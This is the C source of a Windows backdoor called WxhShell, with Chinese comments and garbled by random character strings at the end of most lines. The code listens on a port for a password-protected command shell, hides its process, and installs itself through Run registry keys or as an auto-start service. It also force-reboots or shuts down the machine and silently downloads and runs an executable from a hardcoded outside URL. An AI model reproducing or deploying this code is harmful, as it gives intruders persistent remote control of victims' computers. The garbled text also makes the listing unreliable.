    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N5s|a5  
    else { A}bHfn|  
    closesocket(wsh); eD{ @0&   
    ExitThread(0); 8='21@wrN  
    } <nTmZ-;  
    break; )]>G,.9C}  
    } QYfAf3te  
  // 获取shell ~}-p5q2  
  case 's': { .xkV#ol  
    CmdShell(wsh); KHecc/,,S  
    closesocket(wsh); 8@yc}~8 *  
    ExitThread(0); LQ\ ELJj  
    break; b2X'AHK S  
  } P^3m:bE]  
  // 退出 \1mM5r~  
  case 'x': { ~Oq,[,W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &U$8zn~[k  
    CloseIt(wsh); 0IgnpeA]  
    break; e9@fQ  
    } j%Z{.>mJ  
  // 离开 !N8)C@=  
  case 'q': { zLw h6^?Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 207O["Y  
    closesocket(wsh); b^,Mw8KsO  
    WSACleanup(); x)VIA]  
    exit(1); ;5Vk01R  
    break; +yb$[E*  
        } f'6qJk%J  
  } Uk *;C  
  } 2Cd --W+=  
6"Lsui??  
  // 提示信息 ~26s7S}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %rDmW?T  
} '+!S|U,{  
  } u1) TG "+0  
W]D`f8r9  
  return; {nPkb5xbW  
} u@bOEcxK  
=F %wlzF:  
// shell模块句柄 B2G5h baA  
int CmdShell(SOCKET sock) Z0"&  
{ Naf`hE9  
STARTUPINFO si; !*?(Q6  
ZeroMemory(&si,sizeof(si)); O:,2OMB}B`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I,<>%Z|'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \'??  
PROCESS_INFORMATION ProcessInfo; Jn<e"  
char cmdline[]="cmd"; LPapD@Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u1;e*ty  
  return 0; X(!AI|6Bt  
} VX!Y`y^a  
*]m kyAhi  
// 自身启动模式 uZ/7t(fy  
int StartFromService(void) N{^>MRK=5  
{ l|vWeBs  
typedef struct PUE'Rr(Q  
{ )7I.N]=  
  DWORD ExitStatus; ST: v3*  
  DWORD PebBaseAddress; UN*dU  
  DWORD AffinityMask; r,3Ww2X-  
  DWORD BasePriority; hINnb7 o  
  ULONG UniqueProcessId; Q.9Ph ~  
  ULONG InheritedFromUniqueProcessId; jTd4H)  
}   PROCESS_BASIC_INFORMATION; S< EB&P  
T6R7,Vt'v  
PROCNTQSIP NtQueryInformationProcess; EtR@sJ<  
u+z .J4w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ufaqhh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1o|0x\q  
6VH90KAT  
  HANDLE             hProcess; ?GUz?'d  
  PROCESS_BASIC_INFORMATION pbi; Ez/\bE  
N &I8nZ9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S2'`|uI  
  if(NULL == hInst ) return 0; |5O >>a()  
Et}C`vZ+Ve  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lPRdwg-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h;EwkbDQg>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t,=@hs hN  
r,u<y_YW  
  if (!NtQueryInformationProcess) return 0; 28T\@zi  
*xX( !t'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [+;FV!M6  
  if(!hProcess) return 0; (#j2P0B  
:]B% >*;}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VY+(,\ )U  
\~gA+ o}Q  
  CloseHandle(hProcess); NJ|NJ p&0  
;Cr_NP[8|j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'a;ini  
if(hProcess==NULL) return 0; di3 B=A>3  
#*yM2H"7,;  
HMODULE hMod; ASzzBR;?_  
char procName[255]; ^8?j~&u$F  
unsigned long cbNeeded; ="3a%\  
g.[+yzuE6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /h?<MI\7V  
0|+>A?E}E  
  CloseHandle(hProcess); u<l# xud  
WF ?/GN  
if(strstr(procName,"services")) return 1; // 以服务启动 T!u'V'Ei2  
zW"~YaO%C  
  return 0; // 注册表启动 @9OeC O  
} G 2%  
do:QH.q8)  
// 主模块 CS~=Z>6EjA  
int StartWxhshell(LPSTR lpCmdLine) uY&=eQ_Cb  
{ Cz'xGW{  
  SOCKET wsl; ]j& FbP)3  
BOOL val=TRUE; +M44XhT  
  int port=0; k~0#'I9  
  struct sockaddr_in door; \We"?1^  
98ca[.ui  
  if(wscfg.ws_autoins) Install(); 6#E]zmXO2  
K#GXpj  
port=atoi(lpCmdLine); |7rR99  
P['X<Xt8  
if(port<=0) port=wscfg.ws_port; O24Jj\"  
b7,  
  WSADATA data; (bg}an  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i Td-n9  
L7SEswMti  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E^b pckP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Dz[566UD  
  door.sin_family = AF_INET; yB-.sGu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n=f`AmF;  
  door.sin_port = htons(port); iKg75%;t  
"#*Nnt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @4;HC=~  
closesocket(wsl); _FL<egK  
return 1; Q/9a,85  
} ^g9}f  
F|ETug n  
  if(listen(wsl,2) == INVALID_SOCKET) { Jzk!K@  
closesocket(wsl); Y{,2X~ 7  
return 1; ?V#Gx>\  
} &(g m4bTg  
  Wxhshell(wsl); vGXWwQ.1Tp  
  WSACleanup(); g93I+  
O[; +i  
return 0; pPoH5CzcK  
?K0U3V$s  
} pp(H PKs=}  
Oz :D.V 3~  
// 以NT服务方式启动 <\h*Zy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h]qT1( I  
{ F vj{@B!  
DWORD   status = 0; + Qt[1Xq  
  DWORD   specificError = 0xfffffff; ]x1p!TSU  
^rL ,&rk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v#zPH5xo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d{W}p~UbH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TW>?h=.z  
  serviceStatus.dwWin32ExitCode     = 0; "hW(S  
  serviceStatus.dwServiceSpecificExitCode = 0; Z,3 CC \  
  serviceStatus.dwCheckPoint       = 0; <lFdexH"T  
  serviceStatus.dwWaitHint       = 0; ]x2Jpk99a  
~NxEc8Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l$M$o(  
  if (hServiceStatusHandle==0) return; EY]a6@;  
:JR<SFjm  
status = GetLastError(); Lj4&_b9  
  if (status!=NO_ERROR) u2 7S %2P  
{ ]5N zK=2{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z #EvRC  
    serviceStatus.dwCheckPoint       = 0; 9x(}F<L  
    serviceStatus.dwWaitHint       = 0; [ dGO,ndE  
    serviceStatus.dwWin32ExitCode     = status; "r@G@pe  
    serviceStatus.dwServiceSpecificExitCode = specificError; rw&y,%2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /M:H9Z8!  
    return; V7P6zAJy  
  } =:4?>2)  
N*f^Z#B]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Rxx>{+f4M  
  serviceStatus.dwCheckPoint       = 0; L.kD,'G}>  
  serviceStatus.dwWaitHint       = 0; yOc|*O=]U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Fqo&3+J4  
} +I&J7ICV0  
Hr6wgYPi  
// 处理NT服务事件,比如:启动、停止 H"O$&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 85} ii{S  
{ Bq *[c=(2  
switch(fdwControl) Q? qjWZY  
{ xo(k?+P>.  
case SERVICE_CONTROL_STOP: l2(.>-#  
  serviceStatus.dwWin32ExitCode = 0; dN<5JQql  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +lKrj\Xj  
  serviceStatus.dwCheckPoint   = 0; +5-]iKh  
  serviceStatus.dwWaitHint     = 0; XoJgs$3B  
  { 8^y=H=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vb %T7  
  } ;,dkJ7M  
  return; iOll WkF  
case SERVICE_CONTROL_PAUSE: [%jxf\9jJ_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FOSbe]  
  break; ) o xIzF  
case SERVICE_CONTROL_CONTINUE: QNb>rLj52  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dhW<p 5  
  break; !_dR'  
case SERVICE_CONTROL_INTERROGATE: O4E(R?wd  
  break; l~['[Ub0)  
}; YN^T$,*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {S *!B  
} 6Hwxx5>r  
D M}s0O$ 0  
// 标准应用程序主函数 0Z,{s158L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O~6Q;qP  
{ 8)Zk24:])_  
#X5hS w;  
// 获取操作系统版本 x{Sd P$  
OsIsNt=GetOsVer(); -E]Sk&4Gj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "<x&pQZ%  
~0ooRUWU7  
  // 从命令行安装 k}zd' /b  
  if(strpbrk(lpCmdLine,"iI")) Install(); \B&6TeR  
Xem5@ (u  
  // 下载执行文件 H} 6CKP}  
if(wscfg.ws_downexe) { {`F1u?l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) waCboK'  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]`d2_mu  
} f^?uY8<  
;E#\   
if(!OsIsNt) { (z2Z)_6L*L  
// 如果时win9x,隐藏进程并且设置为注册表启动 d=y0yq{L  
HideProc(); FCiq?@  
StartWxhshell(lpCmdLine); 6-]h5L]  
} Gqt-_gga  
else O3Uh+gKQ  
  if(StartFromService()) 1ef'7a7e8  
  // 以服务方式启动  w;+ br  
  StartServiceCtrlDispatcher(DispatchTable); AW/wI6[T  
else /$:U$JVb?l  
  // 普通方式启动 -`Q}tg>cT  
  StartWxhshell(lpCmdLine); AK*N  
HIGNRm  
return 0; m?;$;x~Dj  
} %2D17*eK  
Mlj#b8  
?/'}JS(Sm  
<0 uOq  
=========================================== g~ !$i`_b  
vCb]%sd-U  
] H&c'  
6IP$n($2  
!5UfWk\G  
}lP5 GT2  
" /C$ xH@bb  
` ?9T~,  
#include <stdio.h> ]*;F. pZ  
#include <string.h> Go <'  
#include <windows.h> h$ Da&$uyI  
#include <winsock2.h> hH`Jb7 7L  
#include <winsvc.h> FZXyfZw!|  
#include <urlmon.h> kXwi{P3D$  
%LQ/q 3?_  
#pragma comment (lib, "Ws2_32.lib") n+;vjVS%  
#pragma comment (lib, "urlmon.lib") P+Z\3re  
"- eZZEl(  
#define MAX_USER   100 // 最大客户端连接数 w!`Umll2  
#define BUF_SOCK   200 // sock buffer iYKU[UP?  
#define KEY_BUFF   255 // 输入 buffer `*yAiv>  
.X'< D*  
#define REBOOT     0   // 重启 #3 bv3m  
#define SHUTDOWN   1   // 关机 ArzDI{1  
@B`Md3$7  
#define DEF_PORT   5000 // 监听端口 P^[/Qi}j  
 AmcC:5  
#define REG_LEN     16   // 注册表键长度 Q\9K2=4  
#define SVC_LEN     80   // NT服务名长度 c!Dc8=nE0m  
xU}M;4kH~  
// 从dll定义API 73 V"s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }Hy ~i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XoItV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VVuR+=.&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VT=K"`EpQ  
V=}1[^  
// wxhshell配置信息 maC>LBa2/  
struct WSCFG { 9y^/GwUQ  
  int ws_port;         // 监听端口 jG D%r~lN  
  char ws_passstr[REG_LEN]; // 口令 (}gcY  
  int ws_autoins;       // 安装标记, 1=yes 0=no _%ZP{5D>  
  char ws_regname[REG_LEN]; // 注册表键名 V1utUGJV  
  char ws_svcname[REG_LEN]; // 服务名 2dbRE:v5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6I|A- h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kNPDm6m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z]vL%Gg*!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /P+q}L %  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qn"K9k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M{G xjmdx  
sLns3&n2  
}; o8z)nOTO;  
q`Q}yE> 9  
// default Wxhshell configuration Y~qb;N\  
struct WSCFG wscfg={DEF_PORT, Fr5 Xp  
    "xuhuanlingzhe", 3z[ $4L'.  
    1, @`|)Ia<  
    "Wxhshell", Q2s&L]L=  
    "Wxhshell", c tI{^f:  
            "WxhShell Service", uZ(? >  
    "Wrsky Windows CmdShell Service", u~F~cDu  
    "Please Input Your Password: ", Eg8i _s~:  
  1, YG[w@u  
  "http://www.wrsky.com/wxhshell.exe", MzTW8  
  "Wxhshell.exe" ;>ozEh#8w  
    }; s".HEP~]=  
,W*H6fw+  
// 消息定义模块 1 Z[f {T)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kMxjS^fr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; js <Ww$zFW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z~Na-N  
char *msg_ws_ext="\n\rExit."; N:W9},  
char *msg_ws_end="\n\rQuit."; &erm`Ho  
char *msg_ws_boot="\n\rReboot..."; DDw''  
char *msg_ws_poff="\n\rShutdown..."; (-"`,8K 2}  
char *msg_ws_down="\n\rSave to "; pbn\9C/  
y=H@6$2EQ  
char *msg_ws_err="\n\rErr!"; >n$ !<  
char *msg_ws_ok="\n\rOK!"; &mkpJF/  
%Kto.Xq  
char ExeFile[MAX_PATH]; `fS^ j-_M  
int nUser = 0; =+oZtP-+o  
HANDLE handles[MAX_USER]; ai^|N.!  
int OsIsNt; S>f&6ZDNY(  
W`L!N&fB  
SERVICE_STATUS       serviceStatus; l\Xd.H" j,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ycX{NDGs  
ngyY  
// 函数声明 %l$W*.j|;  
int Install(void); 91d }, Mq:  
int Uninstall(void); 6 bO;&  
int DownloadFile(char *sURL, SOCKET wsh); !'W-6f  
int Boot(int flag); jv&+<j`r  
void HideProc(void); ~&g a1r2v?  
int GetOsVer(void); j[e,?!8;  
int Wxhshell(SOCKET wsl); ;BBpN`T  
void TalkWithClient(void *cs); lG"H4Aa>  
int CmdShell(SOCKET sock); VKrShI  
int StartFromService(void); P))^vUt~  
int StartWxhshell(LPSTR lpCmdLine); qnIew?-*  
w~+aW(2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i_l+:/+G+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M{KW@7j  
flnVYQe  
// 数据结构和表定义 8MF2K6  
SERVICE_TABLE_ENTRY DispatchTable[] = fN[8N$1-  
{ (:sZ b?*  
{wscfg.ws_svcname, NTServiceMain}, U Cb02h  
{NULL, NULL} m#H_*L0  
}; T V:<TR  
j _ ;fWBD:  
// 自我安装 z<n-Gzwk  
int Install(void) lLiQ;@  
{ wE Qi0!  
  char svExeFile[MAX_PATH]; FPv" N'/  
  HKEY key; l(:kfR~AC  
  strcpy(svExeFile,ExeFile); )=_ycf^MC  
Y &f\VNlT  
// 如果是win9x系统,修改注册表设为自启动 6|=j+rScv  
if(!OsIsNt) { ];FtS>\x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "H+,E_&(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ijW 7c+yd  
  RegCloseKey(key); ' 4 O-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PK:2xN:=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w^;DG  
  RegCloseKey(key); oU+F3b}5p  
  return 0; eegx'VSX4  
    } OO-k|\{ |  
  } nhH;?D3  
} =m tY  
else { ^T079=$5  
\}dyS8  
// 如果是NT以上系统,安装为系统服务 ZYMw}]#((E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s3 B'>RG}  
if (schSCManager!=0) 6STp>@Ch]"  
{ (Hp'B))2  
  SC_HANDLE schService = CreateService p>kq+mP2bc  
  ( FFcB54ALTf  
  schSCManager, hIU(P Dl4  
  wscfg.ws_svcname, R7_VXvm>z  
  wscfg.ws_svcdisp, D>#l-{d  
  SERVICE_ALL_ACCESS, npH?4S-8G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aC^$*qN-)  
  SERVICE_AUTO_START, ~5OL6Bi-q  
  SERVICE_ERROR_NORMAL, ai-n z-;  
  svExeFile, |jG~,{  
  NULL, 1oY^]OD]W  
  NULL, r>n" 51*  
  NULL, a.kbov(  
  NULL, &ab|2*3?X  
  NULL +%#8k9Y  
  ); ;Icixu'O  
  if (schService!=0) X6@wkrf-  
  { !G?gsW0\h  
  CloseServiceHandle(schService); I.V:q!4*  
  CloseServiceHandle(schSCManager); :b /J\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "(TkJbwC[  
  strcat(svExeFile,wscfg.ws_svcname); g8pO Lr'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;JTt2qQKo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M$S]}   
  RegCloseKey(key); \3zj18(@8!  
  return 0; 7y<1LQ;}  
    } b"CAKl  
  } <~"lie1  
  CloseServiceHandle(schSCManager); Poy^RpnX  
} YT-=;uK^S  
} )K]pnH|  
2F+gF~znQ  
return 1; w*!wQ,o  
} ALT^8c&K  
LN^f1/ b*  
// 自我卸载 {1Eu7l-4  
int Uninstall(void) w1^QD^KnH  
{ [r-}bp'Gp  
  HKEY key; m $dV<  
!m y8AWO'  
if(!OsIsNt) { r o\1]`6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /@YCA}|/  
  RegDeleteValue(key,wscfg.ws_regname); W>-B [5O&[  
  RegCloseKey(key); 4na8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x]4Kkpqm  
  RegDeleteValue(key,wscfg.ws_regname); Gi?_ujZR  
  RegCloseKey(key); !@L=;1,  
  return 0; p,!$/Q+l  
  } \:_3i\2p  
} 4^Rd{'mt  
} SN Y (*  
else { D$r Uid  
l54 m22pfv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZI13  
if (schSCManager!=0) 6NLW(?]  
{ M {a #  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Le#spvV3J|  
  if (schService!=0) 1|| nR4yK  
  { LR&_2e^[  
  if(DeleteService(schService)!=0) { m5c&&v6%"b  
  CloseServiceHandle(schService); pbBoy+.>  
  CloseServiceHandle(schSCManager); {|<"C?  
  return 0; /b[2lTC-e  
  } lP _db&  
  CloseServiceHandle(schService); 7&%^>PU7  
  } :8f[|XR4\N  
  CloseServiceHandle(schSCManager); uofr8oL~  
} 0!GAk   
} Jfhk@27T  
v/QUjXBr  
return 1; N|Cs=-+  
} WlwY <)  
5W? PCOh\  
// 从指定url下载文件 NC"yDWnO'  
int DownloadFile(char *sURL, SOCKET wsh) rpV1y$n<F  
{ ?u$u?j|N  
  HRESULT hr; L'A)6^d@S  
char seps[]= "/"; Y "jE'  
char *token; .zj0Jy8N  
char *file; E4%j.  
char myURL[MAX_PATH]; X(AN)&L[  
char myFILE[MAX_PATH]; 4[2_,9}  
/DFV$+9  
strcpy(myURL,sURL); }VCI=?-  
  token=strtok(myURL,seps); ?UZ?NY  
  while(token!=NULL) 6[ga$nF?  
  { DVp5hR_$  
    file=token; 7[#xOZT  
  token=strtok(NULL,seps); (/{aJV  
  } z~oDWANP  
4 gBp8*2  
GetCurrentDirectory(MAX_PATH,myFILE); 4ne5=YY *  
strcat(myFILE, "\\"); 9<1F[SS<s9  
strcat(myFILE, file); nvq3*  
  send(wsh,myFILE,strlen(myFILE),0); X` r* ob  
send(wsh,"...",3,0); :}}%#/nd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iz^qR={bW  
  if(hr==S_OK) IyUdZ,ba  
return 0; Zj9c9  
else C*kK)6v `  
return 1; Kuw^qX"  
C"V%# K  
} [3>GGX[Ic  
[0;buVU.  
// 系统电源模块 6z,Dyy]tl  
int Boot(int flag) GF<[}  
{ V2d,ksKwn  
  HANDLE hToken; m@G i6   
  TOKEN_PRIVILEGES tkp; +Wn&,?3^  
%:9oDK  
  if(OsIsNt) { DC4C$AyW r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^4Uw8-/9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &l2TeC@;  
    tkp.PrivilegeCount = 1; .TB"eUy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \_]En43mg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H=c`&N7E  
if(flag==REBOOT) { L=!of{4Z(}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NTs7KSgZ  
  return 0; vp)Vb^K>  
} v4vf }.L]  
else { p.JXS n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z=z%$l  
  return 0; udk.zk  
} :<S<f%  
  } tNaL;0#Tx  
  else { G-um`/<%  
if(flag==REBOOT) { v syWm.E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) np$ zo  
  return 0; #=c`of6  
} ^q[gxuL_  
else { 2a=sm1?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PD[z#T!'  
  return 0; kyYLP"oB=  
} +g*k*e>l  
} E9fxjI%1  
 ht97s  
return 1; %/9;ZV  
} wFS2P+e;X  
P7 yq^|  
// win9x进程隐藏模块 LO%!Z,}   
void HideProc(void) r`'y?Bra;  
{ R=)55qu  
wD \ZOn_J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Kyg=$^{>G  
  if ( hKernel != NULL ) VDF)zA1V  
  { Bik*b)9y2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *s4\\Wb=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a>mMvc"  
    FreeLibrary(hKernel); Zl/< w(f_  
  } y*b3&%.ml  
q ?j|K|%   
return; `{K_/Cit  
} oDB`iiBXQ  
.i"W8~<e  
// 获取操作系统版本 Qt>>$3]!!  
int GetOsVer(void) ?V(^YFzZ  
{ 9/o vKpY  
  OSVERSIONINFO winfo; R3.*dqo$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u eb-2[=  
  GetVersionEx(&winfo); CON0E~"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )Di \_/G  
  return 1; L5fuM]G`  
  else kyw/LE3$-  
  return 0; Of}|ib^t  
} yx{3J  
T )~9Wac  
// 客户端句柄模块 -~f511<  
int Wxhshell(SOCKET wsl) ]B\H ~Kn  
{ N!&:rK  
  SOCKET wsh; G'z{b$?/[  
  struct sockaddr_in client; =<z.mzqu5  
  DWORD myID; {r85l\u)Q\  
'\q f^?9  
  while(nUser<MAX_USER) Y'VBz{brf  
{ njPPztv/@  
  int nSize=sizeof(client); hcCp,b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6i@\5}m=  
  if(wsh==INVALID_SOCKET) return 1; Vy<HA*  
-Sv"gLB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o :q1beU  
if(handles[nUser]==0) t ~7V { xk  
  closesocket(wsh); z;\dL  
else ?`_jFj+<\S  
  nUser++; w(d>HHg  
  } L5YnG_M&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Mz]: }qmFA  
5sO@OV\ y  
  return 0; `YBkF  
} Y4.Eq+$gh  
GwU?wIIj^  
// 关闭 socket 9O*_L:4o  
void CloseIt(SOCKET wsh) H].y w9  
{ $(pF;_W  
closesocket(wsh); ; 0v>Rfa  
nUser--; | tQiFC  
ExitThread(0); fnKY1y]2+  
} =3 ~/:8o  
6.1)IQkO  
// 客户端请求句柄 u"xJjS  
void TalkWithClient(void *cs) K0pac6]  
{ Z)9g~g94  
{XurC}#\  
  SOCKET wsh=(SOCKET)cs; BP[|nL  
  char pwd[SVC_LEN]; ^ZDBO/  
  char cmd[KEY_BUFF]; =WZqQq{  
char chr[1]; 5~sx:0;  
int i,j; I751 t  
sZgRt  
  while (nUser < MAX_USER) { "Ml&[O ge  
ykg#{9+  
if(wscfg.ws_passstr) { Sw&!y$ed  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #V02hs1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d%@~mcH>  
  //ZeroMemory(pwd,KEY_BUFF); 1nknSw#  
      i=0; {:nQl}  
  while(i<SVC_LEN) { HmmS(fU  
g9fq5E<G  
  // 设置超时 `Hx~UH)  
  fd_set FdRead; @wmi 5oExc  
  struct timeval TimeOut; t>)45<PEw  
  FD_ZERO(&FdRead); qSCv )S(  
  FD_SET(wsh,&FdRead); BKa- k!  
  TimeOut.tv_sec=8; &)F*@C-  
  TimeOut.tv_usec=0; ikBYd }5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G$zL)R8GE|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f$HH:^#  
2I1uX&g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P>Euq'ajX  
  pwd=chr[0]; S"mcUU}}  
  if(chr[0]==0xd || chr[0]==0xa) { wd@aw/  
  pwd=0; 8e~|.wOL  
  break; g?v\!/~(u  
  } ?jQ](i&  
  i++; :p&!RI(l  
    } W=B"Q qL  
AwUi+|7r])  
  // 如果是非法用户,关闭 socket RZp cXv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <N,)G |&  
} T=a=B(  
d@0Kr5_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b IW'c_ ,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~rr 4ok  
hG~reVNf  
while(1) { @Y,7'0U  
hJz):d>Im  
  ZeroMemory(cmd,KEY_BUFF); dx*qb  
YNrp}KQ  
      // 自动支持客户端 telnet标准   e(F42;$$  
  j=0; "& Dx=Yf  
  while(j<KEY_BUFF) { q_W0/Ki8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l&YKD,H};  
  cmd[j]=chr[0]; _lKZmhi  
  if(chr[0]==0xa || chr[0]==0xd) { )&{K~i;:  
  cmd[j]=0; 8x{B~_~  
  break; )\;Z4x;]U  
  } q*![AzFh  
  j++; )QagS.L{z  
    } 2g9 G{~,@g  
# {fTgq  
  // 下载文件 RyB~Lm`ZK%  
  if(strstr(cmd,"http://")) { X;F?:Iw\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8;Fn7k_Uf  
  if(DownloadFile(cmd,wsh)) e}VBRvr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u,3,ck!B>@  
  else ^taBG3P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OU4pjiLx  
  } 7`IpBm<  
  else { 9~rUkHD  
Z|9u]xL  
    switch(cmd[0]) { '\fY<Q:!  
